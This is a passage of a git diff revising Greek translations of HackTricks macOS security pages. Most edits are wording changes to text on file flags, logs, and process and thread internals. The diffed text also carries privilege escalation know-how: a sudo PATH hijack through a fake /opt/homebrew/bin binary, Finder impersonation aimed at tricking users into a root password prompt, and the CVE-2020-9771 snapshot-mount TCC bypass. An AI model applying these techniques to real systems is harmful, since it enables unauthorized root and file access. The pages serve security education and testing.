`SF_SYNTHETIC` 0xc0000000: Μάσκα συστημικών αναγνωρίσιμων σημαίων μόνο για ανάγνωση. - `SF_ARCHIVED` 0x00010000: Το αρχείο είναι αρχειοθετημένο. - `SF_IMMUTABLE` 0x00020000: Το αρχείο δεν μπορεί να αλλάξει. - `SF_APPEND` 0x00040000: Οι εγγραφές στο αρχείο μπορούν μόνο να προστεθούν. - `SF_RESTRICTED` 0x00080000: Απαιτείται δικαίωμα για εγγραφή. -- `SF_NOUNLINK` 0x00100000: Το στοιχείο δεν μπορεί να αφαιρεθεί, να μετονομαστεί ή να προσαρτηθεί. +- `SF_NOUNLINK` 0x00100000: Το στοιχείο δεν μπορεί να αφαιρεθεί, μετονομαστεί ή τοποθετηθεί. - `SF_FIRMLINK` 0x00800000: Το αρχείο είναι firmlink. - `SF_DATALESS` 0x40000000: Το αρχείο είναι αντικείμενο χωρίς δεδομένα. ### **File ACLs** -Οι **ACLs** αρχείων περιέχουν **ACE** (Εγγραφές Ελέγχου Πρόσβασης) όπου μπορούν να ανατεθούν πιο **λεπτομερείς άδειες** σε διαφορετικούς χρήστες. +Οι **ACLs** αρχείων περιέχουν **ACE** (Access Control Entries) όπου μπορούν να ανατεθούν πιο **λεπτομερείς άδειες** σε διαφορετικούς χρήστες. Είναι δυνατόν να παραχωρήσετε σε έναν **κατάλογο** αυτές τις άδειες: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`.\ Και σε ένα **αρχείο**: `read`, `write`, `append`, `execute`. @@ -196,7 +196,7 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: " ### Resource Forks | macOS ADS -Αυτή είναι μια μέθοδος για να αποκτήσετε **Εναλλακτικά Ρεύματα Δεδομένων σε MacOS** μηχανές. Μπορείτε να αποθηκεύσετε περιεχόμενο μέσα σε μια εκτεταμένη ιδιότητα που ονομάζεται **com.apple.ResourceFork** μέσα σε ένα αρχείο αποθηκεύοντάς το σε **file/..namedfork/rsrc**. +Αυτή είναι μια μέθοδος για να αποκτήσετε **Εναλλακτικά Ρεύματα Δεδομένων σε μηχανές MacOS**. Μπορείτε να αποθηκεύσετε περιεχόμενο μέσα σε μια εκτεταμένη ιδιότητα που ονομάζεται **com.apple.ResourceFork** μέσα σε ένα αρχείο αποθηκεύοντάς το στο **file/..namedfork/rsrc**. ```bash echo "Hello" > a.txt echo "Hello Mac ADS" > a.txt/..namedfork/rsrc @@ -215,7 +215,7 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf Η επεκταμένη ιδιότητα `com.apple.decmpfs` υποδεικνύει ότι το αρχείο αποθηκεύεται κρυπτογραφημένο, το `ls -l` θα αναφέρει **μέγεθος 0** και τα συμπιεσμένα δεδομένα βρίσκονται μέσα σε αυτή την ιδιότητα. Όποτε το αρχείο προσπελάζεται, θα αποκρυπτογραφείται στη μνήμη. -Αυτή η ιδιότητα μπορεί να φαίνεται με το `ls -lO` υποδεικνύοντας ότι είναι συμπιεσμένο επειδή τα συμπιεσμένα αρχεία είναι επίσης επισημασμένα με την ετικέτα `UF_COMPRESSED`. Εάν ένα συμπιεσμένο αρχείο αφαιρεθεί με αυτή την ετικέτα `chflags nocompressed `, το σύστημα δεν θα γνωρίζει ότι το αρχείο ήταν συμπιεσμένο και επομένως δεν θα μπορεί να το αποσυμπιέσει και να προσπελάσει τα δεδομένα (θα νομίζει ότι είναι στην πραγματικότητα κενό). +Αυτή η ιδιότητα μπορεί να φαίνεται με το `ls -lO` υποδεικνύοντας ότι είναι συμπιεσμένο επειδή τα συμπιεσμένα αρχεία είναι επίσης επισημασμένα με την ένδειξη `UF_COMPRESSED`. Εάν ένα συμπιεσμένο αρχείο αφαιρεθεί αυτή η ένδειξη με `chflags nocompressed `, το σύστημα δεν θα γνωρίζει ότι το αρχείο ήταν συμπιεσμένο και επομένως δεν θα μπορεί να αποσυμπιέσει και να προσπελάσει τα δεδομένα (θα νομίζει ότι είναι στην πραγματικότητα κενό). Το εργαλείο afscexpand μπορεί να χρησιμοποιηθεί για να αναγκάσει την αποσυμπίεση ενός αρχείου. @@ -237,22 +237,22 @@ macos-memory-dumping.md ## Risk Category Files Mac OS -Ο φάκελος `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` είναι όπου αποθηκεύεται πληροφορία σχετικά με τον **κίνδυνο που σχετίζεται με διαφορετικές επεκτάσεις αρχείων**. Αυτός ο φάκελος κατηγοριοποιεί τα αρχεία σε διάφορα επίπεδα κινδύνου, επηρεάζοντας το πώς το Safari χειρίζεται αυτά τα αρχεία κατά τη λήψη. Οι κατηγορίες είναι οι εξής: +Ο κατάλογος `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` είναι όπου αποθηκεύεται πληροφορία σχετικά με τον **κίνδυνο που σχετίζεται με διαφορετικές επεκτάσεις αρχείων**. Αυτός ο κατάλογος κατηγοριοποιεί τα αρχεία σε διάφορα επίπεδα κινδύνου, επηρεάζοντας το πώς το Safari χειρίζεται αυτά τα αρχεία κατά τη λήψη. Οι κατηγορίες είναι οι εξής: - **LSRiskCategorySafe**: Τα αρχεία σε αυτή την κατηγορία θεωρούνται **εντελώς ασφαλή**. Το Safari θα ανοίξει αυτόματα αυτά τα αρχεία μετά τη λήψη τους. -- **LSRiskCategoryNeutral**: Αυτά τα αρχεία δεν συνοδεύονται από προειδοποιήσεις και **δεν ανοίγονται αυτόματα** από το Safari. -- **LSRiskCategoryUnsafeExecutable**: Τα αρχεία κάτω από αυτή την κατηγορία **προκαλούν προειδοποίηση** υποδεικνύοντας ότι το αρχείο είναι εφαρμογή. Αυτό λειτουργεί ως μέτρο ασφαλείας για να ειδοποιήσει τον χρήστη. -- **LSRiskCategoryMayContainUnsafeExecutable**: Αυτή η κατηγορία είναι για αρχεία, όπως τα αρχεία αρχειοθέτησης, που μπορεί να περιέχουν εκτελέσιμο. Το Safari θα **προκαλέσει προειδοποίηση** εκτός αν μπορεί να επαληθεύσει ότι όλα τα περιεχόμενα είναι ασφαλή ή ουδέτερα. +- **LSRiskCategoryNeutral**: Αυτά τα αρχεία δεν συνοδεύονται από προειδοποιήσεις και **δεν ανοίγουν αυτόματα** από το Safari. +- **LSRiskCategoryUnsafeExecutable**: Τα αρχεία κάτω από αυτή την κατηγορία **προκαλούν μια προειδοποίηση** που υποδεικνύει ότι το αρχείο είναι εφαρμογή. Αυτό λειτουργεί ως μέτρο ασφαλείας για να ειδοποιήσει τον χρήστη. +- **LSRiskCategoryMayContainUnsafeExecutable**: Αυτή η κατηγορία είναι για αρχεία, όπως τα αρχεία αρχειοθέτησης, που μπορεί να περιέχουν εκτελέσιμο. Το Safari θα **προκαλέσει μια προειδοποίηση** εκτός αν μπορεί να επαληθεύσει ότι όλα τα περιεχόμενα είναι ασφαλή ή ουδέτερα. ## Log files -- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Περιέχει πληροφορίες σχετικά με τα ληφθέντα αρχεία, όπως το URL από το οποίο λήφθηκαν. +- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Περιέχει πληροφορίες σχετικά με τα ληφθέντα αρχεία, όπως τη διεύθυνση URL από όπου λήφθηκαν. - **`/var/log/system.log`**: Κύριο αρχείο καταγραφής των συστημάτων OSX. το com.apple.syslogd.plist είναι υπεύθυνο για την εκτέλεση της καταγραφής συστήματος (μπορείτε να ελέγξετε αν είναι απενεργοποιημένο αναζητώντας "com.apple.syslogd" στο `launchctl list`). - **`/private/var/log/asl/*.asl`**: Αυτά είναι τα Apple System Logs που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες. -- **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Αποθηκεύει πρόσφατα προσπελασμένα αρχεία και εφαρμογές μέσω του "Finder". -- **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Αποθηκεύει στοιχεία που θα εκκινούνται κατά την εκκίνηση του συστήματος. +- **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Αποθηκεύει πρόσφατα προσπελάσιμα αρχεία και εφαρμογές μέσω του "Finder". +- **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Αποθηκεύει στοιχεία που θα εκκινούν κατά την εκκίνηση του συστήματος. - **`$HOME/Library/Logs/DiskUtility.log`**: Αρχείο καταγραφής για την εφαρμογή DiskUtility (πληροφορίες σχετικά με δίσκους, συμπεριλαμβανομένων των USB). - **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: Δεδομένα σχετικά με τα ασύρματα σημεία πρόσβασης. -- **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Λίστα με τους απενεργοποιημένους δαίμονες. +- **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: Λίστα με τους δαίμονες που έχουν απενεργοποιηθεί. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md index d89734435..881b4c520 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md @@ -22,7 +22,7 @@ macos-security-protections/macos-tcc/ ### Sudo Hijacking -Μπορείτε να βρείτε την αρχική [τεχνική Sudo Hijacking μέσα στην ανάρτηση Linux Privilege Escalation](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking). +Μπορείτε να βρείτε την αρχική [Sudo Hijacking technique μέσα στην ανάρτηση Linux Privilege Escalation](../../linux-hardening/privilege-escalation/index.html#sudo-hijacking). Ωστόσο, το macOS **διατηρεί** το **`PATH`** του χρήστη όταν εκτελεί **`sudo`**. Αυτό σημαίνει ότι ένας άλλος τρόπος για να επιτευχθεί αυτή η επίθεση θα ήταν να **παρακάμψετε άλλες δυαδικές** που το θύμα θα εκτελέσει όταν **τρέχει sudo:** ```bash @@ -39,7 +39,7 @@ chmod +x /opt/homebrew/bin/ls # victim sudo ls ``` -Σημειώστε ότι ένας χρήστης που χρησιμοποιεί το τερματικό θα έχει πολύ πιθανό **εγκατεστημένο το Homebrew**. Έτσι, είναι δυνατό να υποκλέψετε δυαδικά αρχεία στο **`/opt/homebrew/bin`**. +Σημειώστε ότι ένας χρήστης που χρησιμοποιεί το τερματικό θα έχει πολύ πιθανό **εγκατεστημένο το Homebrew**. Έτσι, είναι δυνατόν να υποκλέψετε δυαδικά αρχεία στο **`/opt/homebrew/bin`**. ### Υποκρισία Dock @@ -124,8 +124,8 @@ killall Dock {{#tab name="Finder Impersonation"}} Ορισμένες προτάσεις: -- Δεν **μπορείτε να αφαιρέσετε τον Finder από το Dock**, οπότε αν σκοπεύετε να τον προσθέσετε στο Dock, μπορείτε να τοποθετήσετε τον ψεύτικο Finder ακριβώς δίπλα στον πραγματικό. Για αυτό χρειάζεται να **προσθέσετε την ψεύτικη καταχώρηση Finder στην αρχή του πίνακα Dock**. -- Μια άλλη επιλογή είναι να μην τον τοποθετήσετε στο Dock και απλώς να τον ανοίξετε, "Finder που ζητά να ελέγξει τον Finder" δεν είναι και τόσο περίεργο. +- Δεν **μπορείτε να αφαιρέσετε τον Finder από το Dock**, οπότε αν σκοπεύετε να τον προσθέσετε στο Dock, μπορείτε να τοποθετήσετε τον ψεύτικο Finder ακριβώς δίπλα στον πραγματικό. Για αυτό χρειάζεται να **προσθέσετε την ψεύτικη καταχώρηση του Finder στην αρχή του πίνακα Dock**. +- Μια άλλη επιλογή είναι να μην τον τοποθετήσετε στο Dock και απλώς να τον ανοίξετε, "Finder που ζητά να ελέγξει τον Finder" δεν είναι τόσο περίεργο. - Μια άλλη επιλογή για **να αποκτήσετε δικαιώματα root χωρίς να ζητήσετε** τον κωδικό πρόσβασης με ένα απαίσιο παράθυρο, είναι να κάνετε τον Finder να ζητήσει πραγματικά τον κωδικό πρόσβασης για να εκτελέσει μια προνομιούχα ενέργεια: - Ζητήστε από τον Finder να αντιγράψει στο **`/etc/pam.d`** ένα νέο αρχείο **`sudo`** (Η προτροπή που ζητά τον κωδικό πρόσβασης θα υποδεικνύει ότι "ο Finder θέλει να αντιγράψει το sudo") - Ζητήστε από τον Finder να αντιγράψει ένα νέο **Authorization Plugin** (Μπορείτε να ελέγξετε το όνομα του αρχείου ώστε η προτροπή που ζητά τον κωδικό πρόσβασης να υποδεικνύει ότι "ο Finder θέλει να αντιγράψει το Finder.bundle") @@ -201,11 +201,11 @@ killall Dock {{#endtab}} {{#endtabs}} -## TCC - Εκμετάλλευση Δικαιωμάτων Ρίζας +## TCC - Ανύψωση Δικαιωμάτων Ρίζας -### CVE-2020-9771 - παράκαμψη TCC mount_apfs και εκμετάλλευση δικαιωμάτων +### CVE-2020-9771 - παράκαμψη TCC mount_apfs και ανύψωση δικαιωμάτων -**Οποιοσδήποτε χρήστης** (ακόμα και χωρίς δικαιώματα) μπορεί να δημιουργήσει και να τοποθετήσει ένα στιγμιότυπο μηχανής χρόνου και **να έχει πρόσβαση σε ΟΛΑ τα αρχεία** αυτού του στιγμιότυπου.\ +**Οποιοσδήποτε χρήστης** (ακόμα και αυτοί χωρίς δικαιώματα) μπορεί να δημιουργήσει και να τοποθετήσει ένα στιγμιότυπο μηχανής χρόνου και **να έχει πρόσβαση σε ΟΛΑ τα αρχεία** αυτού του στιγμιότυπου.\ Η **μόνη προϋπόθεση** είναι η εφαρμογή που χρησιμοποιείται (όπως το `Terminal`) να έχει **Πλήρη Πρόσβαση Δίσκου** (FDA) (`kTCCServiceSystemPolicyAllfiles`), η οποία πρέπει να παραχωρηθεί από έναν διαχειριστή. ```bash # Create snapshot @@ -232,6 +232,7 @@ ls /tmp/snap/Users/admin_user # This will work Αυτό μπορεί να είναι χρήσιμο για την κλιμάκωση δικαιωμάτων: + {{#ref}} macos-files-folders-and-binaries/macos-sensitive-locations.md {{#endref}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md index fced7e7c5..93c5e4d1d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md @@ -7,7 +7,7 @@ Μια διαδικασία είναι μια περίπτωση ενός εκτελέσιμου που τρέχει, ωστόσο οι διαδικασίες δεν εκτελούν κώδικα, αυτές είναι νήματα. Επομένως, **οι διαδικασίες είναι απλώς δοχεία για τρέχοντα νήματα** παρέχοντας τη μνήμη, τους περιγραφείς, τις θύρες, τις άδειες... Παραδοσιακά, οι διαδικασίες ξεκινούσαν μέσα σε άλλες διαδικασίες (εκτός από το PID 1) καλώντας **`fork`** που θα δημιουργούσε μια ακριβή αντιγραφή της τρέχουσας διαδικασίας και στη συνέχεια η **παιδική διαδικασία** θα καλούσε γενικά **`execve`** για να φορτώσει το νέο εκτελέσιμο και να το εκτελέσει. Στη συνέχεια, εισήχθη το **`vfork`** για να επιταχύνει αυτή τη διαδικασία χωρίς καμία αντιγραφή μνήμης.\ -Στη συνέχεια εισήχθη το **`posix_spawn`** συνδυάζοντας **`vfork`** και **`execve`** σε μία κλήση και αποδεχόμενο σημαίες: +Στη συνέχεια, εισήχθη το **`posix_spawn`** συνδυάζοντας **`vfork`** και **`execve`** σε μία κλήση και αποδεχόμενο σημαίες: - `POSIX_SPAWN_RESETIDS`: Επαναφορά των αποτελεσματικών ταυτοτήτων στις πραγματικές ταυτότητες - `POSIX_SPAWN_SETPGROUP`: Ορισμός συσχέτισης ομάδας διαδικασιών @@ -27,22 +27,22 @@ ### PIDs -Τα PIDs, ταυτοποιητές διαδικασιών, προσδιορίζουν μια μοναδική διαδικασία. Στο XNU, οι **PIDs** είναι **64bit** και αυξάνονται μονοτονικά και **ποτέ δεν επαναλαμβάνονται** (για να αποφεύγονται οι καταχρήσεις). +Τα PIDs, ταυτοτήτες διαδικασιών, προσδιορίζουν μια μοναδική διαδικασία. Στο XNU, οι **PIDs** είναι **64bit** και αυξάνονται μονοτονικά και **ποτέ δεν επαναλαμβάνονται** (για να αποφεύγονται οι καταχρήσεις). ### Process Groups, Sessions & Coalations -**Διαδικασίες** μπορούν να εισαχθούν σε **ομάδες** για να διευκολυνθεί η διαχείρισή τους. Για παράδειγμα, οι εντολές σε ένα script shell θα είναι στην ίδια ομάδα διαδικασιών, έτσι είναι δυνατό να **σημανθούν μαζί** χρησιμοποιώντας kill για παράδειγμα.\ -Είναι επίσης δυνατό να **ομαδοποιηθούν οι διαδικασίες σε συνεδρίες**. Όταν μια διαδικασία ξεκινά μια συνεδρία (`setsid(2)`), οι παιδικές διαδικασίες τοποθετούνται μέσα στη συνεδρία, εκτός αν ξεκινήσουν τη δική τους συνεδρία. +**Διαδικασίες** μπορούν να εισαχθούν σε **ομάδες** για να διευκολυνθεί η διαχείρισή τους. Για παράδειγμα, οι εντολές σε ένα σενάριο shell θα είναι στην ίδια ομάδα διαδικασιών, έτσι είναι δυνατή η **σήμανση τους μαζί** χρησιμοποιώντας kill για παράδειγμα.\ +Είναι επίσης δυνατή η **ομαδοποίηση διαδικασιών σε συνεδρίες**. Όταν μια διαδικασία ξεκινά μια συνεδρία (`setsid(2)`), οι παιδικές διαδικασίες τοποθετούνται μέσα στη συνεδρία, εκτός αν ξεκινήσουν τη δική τους συνεδρία. -Η συμμαχία είναι ένας άλλος τρόπος ομαδοποίησης διαδικασιών στο Darwin. Μια διαδικασία που εντάσσεται σε μια συμμαχία της επιτρέπει να έχει πρόσβαση σε πόρους πισίνας, μοιράζοντας ένα βιβλίο ή αντιμετωπίζοντας το Jetsam. Οι συμμαχίες έχουν διαφορετικούς ρόλους: Ηγέτης, Υπηρεσία XPC, Επέκταση. +Η συμμαχία είναι ένας άλλος τρόπος ομαδοποίησης διαδικασιών στο Darwin. Μια διαδικασία που συμμετέχει σε μια συμμαχία της επιτρέπει να έχει πρόσβαση σε πόρους πισίνας, μοιράζοντας ένα βιβλίο ή αντιμετωπίζοντας το Jetsam. Οι συμμαχίες έχουν διαφορετικούς ρόλους: Ηγέτης, Υπηρεσία XPC, Επέκταση. ### Credentials & Personae -Κάθε διαδικασία διατηρεί **διαπιστευτήρια** που **προσδιορίζουν τα προνόμιά της** στο σύστημα. Κάθε διαδικασία θα έχει μία κύρια `uid` και μία κύρια `gid` (αν και μπορεί να ανήκει σε πολλές ομάδες).\ -Είναι επίσης δυνατό να αλλάξει η ταυτότητα χρήστη και ομάδας αν το δυαδικό αρχείο έχει το bit `setuid/setgid`.\ +Κάθε διαδικασία διατηρεί **διαπιστευτήρια** που **προσδιορίζουν τα προνόμια** της στο σύστημα. Κάθε διαδικασία θα έχει μία κύρια `uid` και μία κύρια `gid` (αν και μπορεί να ανήκει σε πολλές ομάδες).\ +Είναι επίσης δυνατή η αλλαγή του αναγνωριστικού χρήστη και ομάδας αν το δυαδικό αρχείο έχει το bit `setuid/setgid`.\ Υπάρχουν πολλές συναρτήσεις για **ορισμό νέων uids/gids**. -Η syscall **`persona`** παρέχει ένα **εναλλακτικό** σύνολο **διαπιστευτηρίων**. Η υιοθέτηση μιας persona υποθέτει την uid, gid και τις συμμετοχές ομάδας **ταυτόχρονα**. Στον [**πηγαίο κώδικα**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) είναι δυνατό να βρείτε τη δομή: +Η syscall **`persona`** παρέχει ένα **εναλλακτικό** σύνολο **διαπιστευτηρίων**. Η υιοθέτηση μιας προσωπικότητας υποθέτει την `uid`, `gid` και τις συμμετοχές ομάδας **ταυτόχρονα**. Στον [**κώδικα πηγής**](https://github.com/apple/darwin-xnu/blob/main/bsd/sys/persona.h) είναι δυνατή η εύρεση της δομής: ```c struct kpersona_info { uint32_t persona_info_version; uid_t persona_id; /* overlaps with UID */ @@ -56,43 +56,43 @@ char persona_name[MAXLOGNAME + 1]; /* TODO: MAC policies?! */ } ``` -## Βασικές Πληροφορίες για τα Νήματα +## Threads Basic Information -1. **POSIX Νήματα (pthreads):** Το macOS υποστηρίζει τα POSIX νήματα (`pthreads`), τα οποία είναι μέρος ενός τυπικού API νημάτων για C/C++. Η υλοποίηση των pthreads στο macOS βρίσκεται στο `/usr/lib/system/libsystem_pthread.dylib`, που προέρχεται από το δημόσια διαθέσιμο έργο `libpthread`. Αυτή η βιβλιοθήκη παρέχει τις απαραίτητες συναρτήσεις για τη δημιουργία και διαχείριση νημάτων. -2. **Δημιουργία Νημάτων:** Η συνάρτηση `pthread_create()` χρησιμοποιείται για τη δημιουργία νέων νημάτων. Εσωτερικά, αυτή η συνάρτηση καλεί τη `bsdthread_create()`, η οποία είναι μια χαμηλού επιπέδου κλήση συστήματος συγκεκριμένη για τον πυρήνα XNU (τον πυρήνα στον οποίο βασίζεται το macOS). Αυτή η κλήση συστήματος παίρνει διάφορες σημαίες που προέρχονται από το `pthread_attr` (χαρακτηριστικά) που καθορίζουν τη συμπεριφορά του νήματος, συμπεριλαμβανομένων των πολιτικών προγραμματισμού και του μεγέθους στοίβας. -- **Προεπιλεγμένο Μέγεθος Στοίβας:** Το προεπιλεγμένο μέγεθος στοίβας για νέα νήματα είναι 512 KB, το οποίο είναι επαρκές για τυπικές λειτουργίες αλλά μπορεί να προσαρμοστεί μέσω των χαρακτηριστικών του νήματος αν χρειάζεται περισσότερος ή λιγότερος χώρος. -3. **Αρχικοποίηση Νημάτων:** Η συνάρτηση `__pthread_init()` είναι κρίσιμη κατά τη ρύθμιση του νήματος, χρησιμοποιώντας το επιχείρημα `env[]` για να αναλύσει τις μεταβλητές περιβάλλοντος που μπορεί να περιλαμβάνουν λεπτομέρειες σχετικά με την τοποθεσία και το μέγεθος της στοίβας. +1. **POSIX Threads (pthreads):** Το macOS υποστηρίζει τα POSIX threads (`pthreads`), τα οποία είναι μέρος ενός τυπικού API νημάτων για C/C++. Η υλοποίηση των pthreads στο macOS βρίσκεται στο `/usr/lib/system/libsystem_pthread.dylib`, που προέρχεται από το δημόσια διαθέσιμο έργο `libpthread`. Αυτή η βιβλιοθήκη παρέχει τις απαραίτητες συναρτήσεις για τη δημιουργία και διαχείριση νημάτων. +2. **Creating Threads:** Η συνάρτηση `pthread_create()` χρησιμοποιείται για τη δημιουργία νέων νημάτων. Εσωτερικά, αυτή η συνάρτηση καλεί τη `bsdthread_create()`, η οποία είναι μια χαμηλού επιπέδου κλήση συστήματος συγκεκριμένη για τον πυρήνα XNU (τον πυρήνα στον οποίο βασίζεται το macOS). Αυτή η κλήση συστήματος παίρνει διάφορες σημαίες που προέρχονται από το `pthread_attr` (attributes) που καθορίζουν τη συμπεριφορά του νήματος, συμπεριλαμβανομένων των πολιτικών προγραμματισμού και του μεγέθους στοίβας. +- **Default Stack Size:** Το προεπιλεγμένο μέγεθος στοίβας για νέα νήματα είναι 512 KB, το οποίο είναι επαρκές για τυπικές λειτουργίες αλλά μπορεί να προσαρμοστεί μέσω των χαρακτηριστικών του νήματος αν χρειάζεται περισσότερος ή λιγότερος χώρος. +3. **Thread Initialization:** Η συνάρτηση `__pthread_init()` είναι κρίσιμη κατά τη ρύθμιση του νήματος, χρησιμοποιώντας το επιχείρημα `env[]` για να αναλύσει τις μεταβλητές περιβάλλοντος που μπορεί να περιλαμβάνουν λεπτομέρειες σχετικά με την τοποθεσία και το μέγεθος της στοίβας. -#### Τερματισμός Νημάτων στο macOS +#### Thread Termination in macOS -1. **Έξοδος Νημάτων:** Τα νήματα τερματίζονται συνήθως καλώντας τη `pthread_exit()`. Αυτή η συνάρτηση επιτρέπει σε ένα νήμα να εξέλθει καθαρά, εκτελώντας την απαραίτητη καθαριότητα και επιτρέποντας στο νήμα να στείλει μια τιμή επιστροφής πίσω σε οποιουσδήποτε συμμετέχοντες. -2. **Καθαριότητα Νημάτων:** Κατά την κλήση της `pthread_exit()`, καλείται η συνάρτηση `pthread_terminate()`, η οποία χειρίζεται την αφαίρεση όλων των σχετικών δομών νήματος. Αποδεσμεύει τις θύρες νήματος Mach (Mach είναι το υποσύστημα επικοινωνίας στον πυρήνα XNU) και καλεί τη `bsdthread_terminate`, μια κλήση συστήματος που αφαιρεί τις δομές επιπέδου πυρήνα που σχετίζονται με το νήμα. +1. **Exiting Threads:** Τα νήματα τερματίζονται συνήθως καλώντας τη `pthread_exit()`. Αυτή η συνάρτηση επιτρέπει σε ένα νήμα να εξέλθει καθαρά, εκτελώντας την απαραίτητη καθαριότητα και επιτρέποντας στο νήμα να στείλει μια τιμή επιστροφής πίσω σε οποιουσδήποτε συμμετέχοντες. +2. **Thread Cleanup:** Κατά την κλήση της `pthread_exit()`, καλείται η συνάρτηση `pthread_terminate()`, η οποία χειρίζεται την αφαίρεση όλων των σχετικών δομών νήματος. Αποδεσμεύει τις θύρες νήματος Mach (Mach είναι το υποσύστημα επικοινωνίας στον πυρήνα XNU) και καλεί τη `bsdthread_terminate`, μια κλήση συστήματος που αφαιρεί τις δομές επιπέδου πυρήνα που σχετίζονται με το νήμα. -#### Μηχανισμοί Συγχρονισμού +#### Synchronization Mechanisms Για να διαχειριστεί την πρόσβαση σε κοινόχρηστους πόρους και να αποφευχθούν οι συνθήκες αγώνα, το macOS παρέχει αρκετές πρωτογενείς συγχρονισμού. Αυτές είναι κρίσιμες σε περιβάλλοντα πολλαπλών νημάτων για να διασφαλιστεί η ακεραιότητα των δεδομένων και η σταθερότητα του συστήματος: 1. **Mutexes:** -- **Κανονικός Mutex (Υπογραφή: 0x4D555458):** Τυπικός mutex με αποτύπωμα μνήμης 60 bytes (56 bytes για τον mutex και 4 bytes για την υπογραφή). -- **Γρήγορος Mutex (Υπογραφή: 0x4d55545A):** Παρόμοιος με έναν κανονικό mutex αλλά βελτιστοποιημένος για ταχύτερες λειτουργίες, επίσης 60 bytes σε μέγεθος. -2. **Μεταβλητές Συνθηκών:** -- Χρησιμοποιούνται για να περιμένουν να συμβούν ορισμένες συνθήκες, με μέγεθος 44 bytes (40 bytes συν μια υπογραφή 4 bytes). -- **Χαρακτηριστικά Μεταβλητών Συνθηκών (Υπογραφή: 0x434e4441):** Χαρακτηριστικά ρύθμισης για μεταβλητές συνθηκών, μεγέθους 12 bytes. -3. **Μεταβλητή Once (Υπογραφή: 0x4f4e4345):** -- Διασφαλίζει ότι ένα κομμάτι κώδικα αρχικοποίησης εκτελείται μόνο μία φορά. Το μέγεθός της είναι 12 bytes. -4. **Κλειδώματα Ανάγνωσης-Γραφής:** +- **Regular Mutex (Signature: 0x4D555458):** Τυπικός mutex με αποτύπωμα μνήμης 60 bytes (56 bytes για τον mutex και 4 bytes για την υπογραφή). +- **Fast Mutex (Signature: 0x4d55545A):** Παρόμοιος με έναν κανονικό mutex αλλά βελτιστοποιημένος για ταχύτερες λειτουργίες, επίσης 60 bytes σε μέγεθος. +2. **Condition Variables:** +- Χρησιμοποιούνται για να περιμένουν για ορισμένες συνθήκες να συμβούν, με μέγεθος 44 bytes (40 bytes συν μια υπογραφή 4 bytes). +- **Condition Variable Attributes (Signature: 0x434e4441):** Χαρακτηριστικά ρύθμισης για τις μεταβλητές συνθηκών, μεγέθους 12 bytes. +3. **Once Variable (Signature: 0x4f4e4345):** +- Διασφαλίζει ότι ένα κομμάτι κώδικα αρχικοποίησης εκτελείται μόνο μία φορά. Το μέγεθός του είναι 12 bytes. +4. **Read-Write Locks:** - Επιτρέπει σε πολλούς αναγνώστες ή έναν συγγραφέα ταυτόχρονα, διευκολύνοντας την αποδοτική πρόσβαση σε κοινά δεδομένα. -- **Κλείδωμα Ανάγνωσης-Γραφής (Υπογραφή: 0x52574c4b):** Μεγέθους 196 bytes. -- **Χαρακτηριστικά Κλειδώματος Ανάγνωσης-Γραφής (Υπογραφή: 0x52574c41):** Χαρακτηριστικά για κλειδώματα ανάγνωσης-γραφής, 20 bytes σε μέγεθος. +- **Read Write Lock (Signature: 0x52574c4b):** Με μέγεθος 196 bytes. +- **Read Write Lock Attributes (Signature: 0x52574c41):** Χαρακτηριστικά για τους κλειδώματα ανάγνωσης-γραφής, 20 bytes σε μέγεθος. > [!TIP] > Τα τελευταία 4 bytes αυτών των αντικειμένων χρησιμοποιούνται για την ανίχνευση υπερχειλίσεων. -### Τοπικές Μεταβλητές Νημάτων (TLV) +### Thread Local Variables (TLV) -**Τοπικές Μεταβλητές Νημάτων (TLV)** στο πλαίσιο των αρχείων Mach-O (η μορφή για εκτελέσιμα στο macOS) χρησιμοποιούνται για να δηλώσουν μεταβλητές που είναι συγκεκριμένες για **κάθε νήμα** σε μια εφαρμογή πολλαπλών νημάτων. Αυτό διασφαλίζει ότι κάθε νήμα έχει τη δική του ξεχωριστή παρουσία μιας μεταβλητής, παρέχοντας έναν τρόπο να αποφευχθούν οι συγκρούσεις και να διατηρηθεί η ακεραιότητα των δεδομένων χωρίς να χρειάζονται ρητοί μηχανισμοί συγχρονισμού όπως οι mutexes. +**Thread Local Variables (TLV)** στο πλαίσιο των αρχείων Mach-O (η μορφή για εκτελέσιμα στο macOS) χρησιμοποιούνται για να δηλώσουν μεταβλητές που είναι συγκεκριμένες για **κάθε νήμα** σε μια εφαρμογή πολλαπλών νημάτων. Αυτό διασφαλίζει ότι κάθε νήμα έχει τη δική του ξεχωριστή παρουσία μιας μεταβλητής, παρέχοντας έναν τρόπο να αποφευχθούν οι συγκρούσεις και να διατηρηθεί η ακεραιότητα των δεδομένων χωρίς να χρειάζονται ρητές μηχανισμοί συγχρονισμού όπως οι mutexes. -Στη C και σε σχετικές γλώσσες, μπορείτε να δηλώσετε μια τοπική μεταβλητή νήματος χρησιμοποιώντας τη λέξη-κλειδί **`__thread`**. Να πώς λειτουργεί στο παράδειγμά 